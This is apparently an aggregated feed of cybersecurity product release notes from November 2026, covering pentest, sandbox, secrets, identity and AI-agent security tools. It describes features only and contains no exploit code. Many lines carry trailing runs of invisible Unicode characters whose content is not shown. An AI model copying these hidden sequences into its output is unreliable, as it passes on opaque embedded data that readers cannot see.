• Token renewal happens automatically for GitHub API requests and Git operations, so no manual re-authentication is needed during normal use.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Short-lived tokens are available on github.com and GitHub Enterprise Cloud via a gradual rollout; GitHub Enterprise Server is not included in this rollout.

Model & Agent Protection · 2026-11-04

h5i adds Lean 4 lemmas for u32 columns, verified TLS to PostgreSQL, and range comparisons on integer columns in h5i-app reads⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Install the websec workbench plugin with h5i plugin install websec --from ./h5i-websec to capture, modify, replay, and compare HTTP requests through the same policy and budget as the browser.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Install the recon plugin with h5i plugin install recon --from ./h5i-recon to record endpoints, parameters, and candidate URLs a target exposes during discovery.
• h5i-app now supports verified TLS to PostgreSQL via the tls feature flag.

Security Validation (BAS & Automated Pentest) · 2026-11-04

NodeZero adds Git repository reconstruction, SQL Server trusted-link testing, and Integration Router entity-type routing in its October 2026 release.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Scope tests with a new Scope > Exclude TCP Ports option to protect fragile assets from specific TCP ports during a pentest.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Control Nuclei scan intensity with a new Nuclei Scan Intensity (throttling) option to reduce load on sensitive targets.
• Filter and route Integration Router workflows by entity type, letting you choose which entity types are sent to each destination.

Secrets Detection & Management · 2026-11-04

Infisical adds CockroachDB dynamic secrets, MCP tool allowlists, project soft-delete with restore, and IdP MFA trust for SAML and OIDC⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Add an MCP tool allowlist for MCP services in agent-vault, letting operators restrict which tools an MCP service may call.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Support CockroachDB through the existing PostgreSQL SQL database dynamic secret provider.
• Add a grace period and restore capability for deleted secret manager projects, so accidental deletions can be recovered.

Endpoint Management (UEM/RMM) · 2026-11-04

ITarian adds Windows ARM64 enrollment, customizable device-list template views, and a new LocalSystem procedure-run permission⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Control who can run procedures as the LocalSystem user with the new configuration.procedures.run_as_localsystem role permission — users without it see only Run as Logged in User in the Run Procedure dialog.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Limit procedure searches to the current folder with the new Search within current folder only checkbox in the filter panel, on by default when a folder is selected.
• Manage Windows ARM64 devices by selecting Windows ARM64 in Device Enrollment (Enroll and Protect and Just Enroll) and Bulk Installation Package, alongside existing x64, x86, and x86&x64 options.

Malware Analysis · 2026-11-04

Joe Sandbox adds Adaptive Detonation, an AI agent that identifies why a sample stopped, intervenes, and re-runs it to expose hidden malware behavior⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Joe Sandbox now adds Adaptive Detonation, an AI agent capability that runs a sample, identifies what blocked execution (evasion check, missing prerequisite, or failure), applies a targeted change, and re-analyzes the sample under the new conditions to surface behavior the initial run missed.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• The agent can supply missing launch arguments — for example, recovering and injecting the required S1=1 MSI installer property — without modifying the sample package itself.
• The agent can adjust the analysis environment by setting the guest machine's date to a required window or advancing the guest clock (demonstrated by a two-day advance to bypass a file-age loader delay) before re-running the unchanged sample in Joe Sandbox Cloud.

Identity & Access Management · 2026-11-04

JumpCloud adds Access Certification for automated user access reviews with scheduled campaigns, multi-step reviewer workflows, and tamper-evident audit reports⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Directory Insights can emit an Access Certification event to trigger downstream automation via JumpCloud Workflows after a review concludes, and retains governance events for 90 days, so required audit evidence should be exported before that window expires.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• JumpCloud adds Access Certification, a native identity governance and administration (IGA) capability for running scheduled or one-time access review campaigns directly inside the JumpCloud platform.
• Access Certification campaigns can target SSO applications or user groups, assign reviewers from administrators, a user's direct manager, resource owners, or specific user groups, support multi-step reviews that route decisions through managers, resource owners, and reviewer groups at different stages of a single campaign, and apply remediation immediately after a final Revoke decision or on a schedule after the review phase closes, with no-response handling configurable to retain or revoke access.

Cloud Security Posture · 2026-11-04

Lacework FortiCNAPP adds Azure identity risk coverage for resource exposure, privilege passing, and credential exposure⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Lacework FortiCNAPP now detects Azure identity risks across three new categories: resource exposure, privilege passing, and credential exposure.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-04

Lookyloo adds Cloudflare NS-pair pivoting to find captures sharing the same suspected domain owner⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Pivot on the indexed tuple of Cloudflare NS record pairs to find other captures containing domains with the same suspected owner.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-04

Nudge Security's AI conversation monitoring now detects cryptocurrency wallet addresses and related identifiers shared with AI tools⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Enable cryptocurrency wallet address detection in AI conversation monitoring via Browser Extension Settings to catch when employees share crypto data with AI tools.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-04

Nudge Security adds a Duo Security connected app to centralize visibility into accounts, activity, and misconfigurations⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds a Duo Security connected app integration to surface accounts, activity, and misconfigurations from Duo Security inside Nudge Security.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-04

Nudge Security: Toggle browser-based AI agent discovery on in extension settings to auto-populate the AI agents inventory; no new rollout needed for existing users.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Nudge Security now discovers shadow AI agents through browser activity in addition to existing API integrations, covering platforms whose APIs are limited or unavailable to security teams.
• Browser-based discovery now covers Cursor automations, Retool, Zapier Agents, ChatGPT workspace agents, OpenAI Agent Workflows, Atlassian Rovo (Jira, Bitbucket), Zoom AI Workflows, HyperAgent, HubSpot agents, Datadog, and Amazon — bringing total platform coverage to 23 across both discovery channels.
• Governance actions — setting approval status, assigning a technical contact, and nudging the agent creator to confirm intent or remediate — are available directly from the AI agents inventory.

General Utilities & Libraries · 2026-11-04

Obsidian adds relevance-based search sorting, accent-folding for a dozen languages, and instant workspace display on startup⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Obsidian's search now has a Relevance sort option that ranks notes by best match for your query.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Search and search filters in Backlinks, Outline, and Bookmarks now ignore accents (so cafe finds café), and search folds special characters for German, French, Danish, Norwegian, Polish, Croatian, Serbian, Vietnamese, Icelandic, Faroese, Maltese, Turkish, and Azerbaijani (so lodz finds Łódź and strasse finds Straße).
• The workspace now appears immediately on startup, with progress shown in the status bar instead of a loading screen.

General Utilities & Libraries · 2026-11-04

Obsidian Mobile 1.15.1 adds a Web viewer core plugin, a View note home screen widget for Android, and an Obsidian tile for iOS Quick Capture widgets.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Obsidian Mobile now includes the Web viewer core plugin; with Open external links turned on in its settings, links to web pages open in an in-app browser that slides up over your note.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Android now has a View note home screen widget that shows the contents of a note, replacing the Open note widget.
• iOS adds an Obsidian tile to the Quick Capture home screen widgets, with the small widget now showing up to 4 tiles in a 2×2 grid.

AI Observability & Evals · 2026-11-04

ongrid adds agent tooling, IM approvals, SNMP support, edge upgrades, an AIOps floating assistant, and Elasticsearch Basic Auth for log pipelines⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• ongrid now supports Elasticsearch Basic Auth as a log destination.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• ongrid adds agent tooling, IM approvals, SNMP support, and edge upgrade automation.
• ongrid adds a floating AIOps assistant with page context awareness.

Threat Intelligence · 2026-11-04

OpenCTI adds Elasticsearch 9 support, global TLS verification switches, custom fields, mass workflow operations, and ingestion health checks⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Control TLS certificate verification globally with new switches added to platform configuration.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• OpenCTI now accepts a Filigran license installed as the platform license, in addition to the native OpenCTI license format.
• OpenCTI now supports Elasticsearch 9 servers via a dual Elastic client.

Model & Agent Protection · 2026-11-04

OpenShell adds in-place Kubernetes sandbox updates, OTLP/HTTP export, per-collector auth headers, mutual TLS for OTLP, and containerized browser login via two new env vars⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Route sandbox egress through a private PKI by setting [openshell.supervisor.network].additional_ca_bundle to a PEM bundle, applying to every first-party compute driver.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Forward sandboxed agent OpenTelemetry traces to your collector without an egress rule by adding [openshell.gateway.otlp.agent] with enabled = true to gateway.toml; the supervisor tags each span with the sandbox id before forwarding.
• Use OTLP/HTTP instead of gRPC for telemetry export by setting protocol = "http/protobuf" on [openshell.gateway.otlp] or any signal sub-table; gRPC remains the default.

General Utilities & Libraries · 2026-11-04

OpenSSL 4.1 adds DTLS 1.3, RFC 8701 GREASE support, DTLS in the SSL listener API, and IKEV2 KDF⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• OpenSSL now supports DTLS 1.3 (RFC 9147), documented in the ossl-guide-dtlsv13(7) manual page.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• OpenSSL now supports RFC 8701 GREASE (Generate Random Extensions And Sustain Extensibility) in TLS.
• OpenSSL now includes DTLS support in the SSL listener API.

Web Application Security · 2026-11-04

OWASP ZAP adds AI Assisted Authentication to handle complex login flows using an LLM to drive the browser and auto-generate a Zest replay script⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Automate complex login flows in the Automation Framework by setting the authentication method to ai with parameters loginPageUrl, browserId, loginPageWait, and optional hint under the authentication block.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Trigger AI-assisted login programmatically via the aiAssistedAuthentication action in the authentication API.
• Use the llm-config job in the Automation Framework to configure a provider, specifying defaultProvider, defaultModel, and a providers list with type, apiKey, endpoint, and models fields.

Web Application Security · 2026-11-04

OWASP ZAP adds OAuth2 authentication, an in-browser Zest script editor, LLM provider configuration, and a passive rule for server-side technology CVEs⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• ZAP's Authentication Helper add-on (v0.43.0) now has an OAuth2 authentication method supporting the client_credentials and password grant types, configurable via the desktop UI, the Automation Framework, and the API.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• ZAP's Automation Framework (v0.61.0) adds oauth2 authentication method support and allows defining how long a plan can run.
• ZAP's Authentication Helper add-on (v0.43.0) adds type and count parameters to the diagnostics automation job, retaining only the last failed attempt with auth_on_failure or a rolling window of failures with auth_failure_rolling.

Vulnerability & Exposure Management · 2026-11-04

oxo adds the v3.fingerprint.asn message type for ASN fingerprinting⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• oxo now supports the v3.fingerprint.asn message for ASN fingerprinting between agents.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Vulnerability & Exposure Management · 2026-11-04

oxo adds a v3.asset.asn.whois message type for ASN WHOIS asset handling⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds the v3.asset.asn.whois message type to support ASN WHOIS as a scannable asset.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Code Security · 2026-11-04

Phoenix Security adds container lineage to trace inherited vulnerabilities from base images to downstream services and surface fixed base versions⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Group container assets by base image in Assets > Container by selecting Base image next to Group by, showing downstream image counts, risk level, risk magnitude and finding counts per severity.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Inspect a lineage graph from any image or image group to view the connected base image, downstream image version, image group, registry and associated running containers as a node cluster.
• Separate inherited from self-introduced findings in Vulnerabilities > Remedies > Containers by grouping by Image cluster, where Phoenix labels findings SELF or BASE IMAGE to indicate whether a downstream package change or base rebuild is needed.

CNAPP · 2026-11-04

Plerion adds two-view findings list and a narrative Event tab for CDR findings across CloudTrail, GuardDuty, Macie, IAM Access Analyzer, and AWS Security Incident Response⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Plerion's findings list now has two views next to Group by: Configuration findings (opens by default, showing cloud, workload, and code configuration checks) and Event findings (showing CDR findings, newest first).⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• The Event tab on a CDR finding now shows a plain-language summary of who did what, where, and when, covering CloudTrail, GuardDuty, Macie, IAM Access Analyzer, and AWS Security Incident Response events, with a JSON toggle to view or copy the raw event.

CNAPP · 2026-11-04

Plerion: Assign a team, a person, or both to each asset so owners are notified when action is needed, and filter assets by owner.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Discover owners automatically from existing tags, merge owners that are clearly the same, and keep them current as tags change.
• Add ownership rules for assets your tags miss, by tag, integration, resource type, region or name, and see which assets nobody owns yet.

Software Supply Chain Security · 2026-11-04

rearm adds SBOM scoring, signed exports, TEA v1.0.0 publishing, a REGULATORY_DOCUMENT artifact type, and agent task boards now go GA⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Export SBOMs with a signed artifact that carries the declared licence and supplier, with each merged BOM's serialNumber lineage assigned a designated owner.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• SBOM scores are now computed by rebom and shown in the UI.
• rearm's Transparency Exchange API now conforms to the TEA v1.0.0 specification, with a configurable publishing module supporting multiple profiles (Pro) or a single profile (CE), optional TEI stamping on publish, and TEA serving on a ReARM Domain or a separate mapped domain (Pro only).

Identity & Access Management · 2026-11-04

Rig Security adds a HiBob integration to combine HR context with identity access data for lifecycle-aware access decisions⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Rig Security adds a HiBob integration, connected through a single read-only OAuth consent in the Connections Hub under Partnerships, with no agent to deploy.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• HiBob departments are now available as populations in Gatewatch policies, letting teams set different guardrails for Finance versus Engineering.
• RICE, Rig's correlation engine, now matches each HiBob employee record to known identities in the graph, surfacing HR context — employment status, job title, department, manager, site, and time-off dates — alongside effective access.

Identity & Access Management · 2026-11-04

RoboForm 10.0.0 adds folder results to Start Page search and auto-clears the clipboard two minutes after copying from the Editor⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• RoboForm's Start Page search now includes folders in its results.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• The Editor now auto-clears the clipboard two minutes after copying data with the Editor's Copy button.
• RoboForm adds support for updated encryption and authentication settings.

Vulnerability & Exposure Management · 2026-11-04

runZero now collects more attributes over the BACnet protocol⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• runZero now collects more attributes from BACnet protocol devices during scans.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-04

sbom-operator adds a global naming template and namespace-separation support for SBOM storage and Dependency-Track project naming⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Configure a global naming template to control how SBOM files and Dependency-Track projects are named across all targets.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• sbom-operator now supports namespace separation, keeping SBOMs for workloads in different Kubernetes namespaces distinct.
• Dependency-Track integration now supports configurable deployment timestamps on uploaded SBOMs.

Software Supply Chain Security · 2026-11-04

sbomify adds AI-advisory approval gates, agent-token triage queuing, cross-product release linking, CRA Article 14 reporting, and VEX-aware vulnerability Trends⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds human-review gates for AI agent actions: changes an AI agent makes to a published advisory now require human approval before they go live, and agent tokens can queue triage decisions for human review by submitting with review=true.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• A release can now link to another product's release, with linked releases manageable from the release page.
• sbomify now prepares, tracks, and records CRA Article 14 reports for submission to ENISA's portal.

Network Analysis & Monitoring · 2026-11-04

Security Onion 3.4.0 adds Agentic AI Automations for Pro users alongside updated Suricata, Zeek, and Elasticsearch components⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Security Onion Pro now includes Agentic AI Automations, enabling automated AI-driven workflows within the platform.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Firewalls & Network Defense · 2026-11-04

Sophos Access Points adds improved SKU validation based on access point location via a Sophos Fusion agent update⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Sophos Access Points now validates SKUs based on the access point's physical location via an updated Sophos Fusion agent.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Firewalls & Network Defense · 2026-11-04

Sophos Access Points adds 6 GHz band steering configuration and raises the access point profile limit to 50⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Configure 6 GHz band steering for SSIDs on AP6 420E and 840E access points, choosing whether devices are steered to the 5 GHz band first, the 6 GHz band first, or balanced across all frequency bands, with a manual configuration option also available.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Sort and search access point profiles by name in Sophos Fusion profile management.
• Sophos Fusion now supports up to 50 access point profiles, including the base profile.

Software Supply Chain Security · 2026-11-04

StepSecurity adds a Pass on non-public repositories setting for PWN Request and Script Injection controls in GitHub Checks⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Configure PWN Request and Script Injection controls independently to pass checks on private and internal repositories while still failing them on public ones, via the Pass on non-public repositories setting under GitHub Checks > Configuration.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-04

StepSecurity adds malicious-file suppression rules and finding actions for Dev Machine Guard and GitHub⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Dev Machine Guard now has a Suppression Rules page where you define fleet-wide rules that match on file path, detection rule, SHA-256 hash, campaign, confidence, or any combination — with * as a wildcard — and apply to all devices or a selected subset.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Suppression rules apply to current findings and to files found on later scans, and you can preview matching findings before creating a rule, then edit or delete rules at any time.
• Create a suppression rule directly from a finding, with its detection rule and file path pre-filled, and optionally limit the rule to that finding's device in one click.

Cloud Security Posture · 2026-11-04

Vulnerability & Exposure Management · 2026-11-04

syzkaller adds AI-driven bisect-cause and bisect-fix workflows and per-bug embargo durations to its aflow and dashboard subsystems⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• syzkaller adds bisect-cause and bisect-fix workflows to the pkg/aflow subsystem to identify, via AI, the commits that introduced or fixed a kernel bug using crash reports, reproducers, and optional root-cause analysis.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• syzkaller's aflow patching workflow now supports To/Cc recipient changes during patch iteration, letting reviewers request email address additions or removals alongside tag changes.
• syzkaller's dashboard now supports per-bug embargo durations.

Model & Agent Protection · 2026-11-04

ToolHive adds --scopes flag to thv llm setup and config set, Redis storage for exchange grants, and refresh token issuance through token exchange⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Scope LLM authentication at setup time by passing --scopes to thv llm setup and thv config set.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Store OAuth 2.0 exchange grants in Redis by configuring the new Redis storage backend for the token exchange subsystem.
• Issue refresh tokens through token exchange, letting delegate clients obtain long-lived credentials without re-authentication.

Secure Access (VPN / SASE / ZTNA) · 2026-11-04

Twingate adds AI Usage Overview to Secure DNS analytics, showing which AI tools employees access across DNS-filtered devices⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Export device-level AI service activity as a CSV for follow-up investigation of unfamiliar or high-risk services.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Twingate adds an AI Usage Overview view inside Secure DNS analytics in the Admin Console, available to all DNS Filtering customers at no extra charge, showing which AI tools (including ChatGPT, Claude, Cursor, and Granola) employees access via DNS lookups.
• The AI Usage Overview includes an AI Usage by Date chart showing daily AI service activity, an AI Exposure metric showing AI requests as a share of all DNS requests or the share of covered devices making AI requests, and a Top AI Services list rankable by Devices or Queries.

Data Security & DLP · 2026-11-04

Varonis adds a Collibra data catalog integration to surface sensitive data classification and security context alongside governance metadata⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Varonis adds an integration with Collibra to enrich catalog assets with sensitive data classification insights, security context, ownership, lineage, and policy information directly inside the Collibra data catalog.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Firewalls & Network Defense · 2026-11-04

Vectra AI adds 48- and 72-hour automatic lockdown durations for HostID, Traffic, and Active Directory Account lockdowns⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Automatic lockdown now supports 48- and 72-hour durations for HostID Lockdown, Traffic Lockdown, and Active Directory Accounts, in addition to all existing options, so analysts can contain risk across weekends, holidays, or low-coverage periods without manual intervention.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Firewalls & Network Defense · 2026-11-04

Vectra AI adds post-quantum cryptography metadata visibility, a PQC dashboard, and expanded JA4L fingerprinting to cover general TCP traffic⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Access a new Post-Quantum Cryptography Dashboard under Dashboard > Post-Quantum Cryptography Dashboard to monitor and track PQC adoption across your network.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Vectra AI now captures post-quantum cryptography metadata in Stream and Recall, giving teams visibility into which cryptographic methods are in use across network communications.
• Vectra AI now extends JA4L fingerprinting to cover general TCP traffic, beyond the previous SSL/TLS and HTTPS-only scope, providing richer network context for investigation.

Firewalls & Network Defense · 2026-11-04

Vectra AI adds ERSPAN/GRE/GENEVE/VXLAN decapsulation for Mixed Mode appliances, 100 Gbps sensor support, Azure Esv5 Cloud Brain instances, and SPA detections on by default in⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Mixed Mode appliances now support ERSPAN decapsulation and IP addresses on capture interfaces, letting administrators direct ERSPAN, GRE, GENEVE, and VXLAN tunneled traffic to a specific capture interface.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Vectra AI S127, B127, and M47 appliances now support up to 100 Gbps of throughput, extending network visibility across high-volume environments.
• Vectra AI now supports Azure Esv5-series instances for Cloud Brain deployments, including 16-core and 32-core images, replacing the Esv3-series.

AI-Powered Offensive Security · 2026-11-04

xalgorix adds proven confirmations for SQL injection, template injection and XXE, case-sensitive dedup keys, and a corrected scan-completion lifecycle⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• xalgorix's SQL injection, template injection and in-band XXE verifiers now mark confirmations as proven — including when a confirmation merges into an existing ledger entry — so a scan can no longer end with a confirmed injection unreported.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Ledger evidence now records which engine verifier wrote it, so model-supplied text such as not confirmed is no longer treated as verifier proof.
• Per-type severity caps now apply after CVSS scoring, so a model-supplied vector can no longer raise capped finding types such as clickjacking or missing headers to medium or high.

AI-Powered Offensive Security · 2026-11-04

Xalgorix adds Runcrate as a built-in LLM provider and now reports total LLM cost across all agents at the end of each scan.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Xalgorix now adds up LLM costs reported by the provider (such as OpenRouter's usage.cost) across the scan and every subagent, and shows the total in the CLI's end-of-scan usage note.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Xalgorix adds Runcrate — a chat-completions API for open-weight models — to the built-in provider catalog, with model discovery via /v1/models.

AI-Powered Offensive Security · 2026-11-04

Xalgorix adds a bounded verification window and accurate arjun rate-limit options to prevent premature scan closure and failed parameter discovery⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Set XALGORIX_CONVERGE_FINISH_IDLE to control the no-finding tail length before a scan finalizes (default raised from 150 to 500 iterations) when XALGORIX_CONVERGE_FINISH is on.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Use XALGORIX_CONVERGE_FINISH_LEAD_WINDOW to give the agent a bounded verification window (default 100 iterations) to verify high-confidence unverified leads before the scan closes.
• Scans closed while work remained unexecuted now record completion: partial with stop_reason: untested_at_finish, listing unrun tasks as untested_at_finish rather than not applicable, and the finish message reports how much of the plan and route surface was actually tested.

Detection Engineering · 2026-11-04

Identity & Access Management · 2026-11-04

Yubico adds YubiID identity lifecycle service and a PQC-ready YubiKey in public beta⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Yubico adds YubiID, an identity lifecycle service covering enrollment, credential issuance, authentication, and recovery — including digital wallets and AI workflows — now in limited early access for design partners.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Yubico adds a post-quantum cryptography-ready YubiKey with crypto-agile hardware built on open standards, now available in public beta for customer evaluation.

Identity & Access Management · 2026-11-03

1Password SaaS Manager adds Amplitude and Cerby integrations, team-based application ownership, and customizable AI spend explorer columns⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds new Amplitude and Cerby integrations: Amplitude syncs accounts, groups, roles, and activity with provisioning and deprovisioning support, while Cerby adds accounts, teams, and provisioning.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Assign teams as application owners in the Applications area.
• Improves integration field mapping: maps GitHub usernames to SaaS Manager via the Humaans integration and adds support for mapping custom fields in the Okta integration.

Digital Forensics & Incident Response · 2026-11-03

ALEAPP adds Android bug report parsing, SQLite WAL multi-generation reads, and dozens of new artifacts including Health Connect, Hive, and C2PA provenance⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

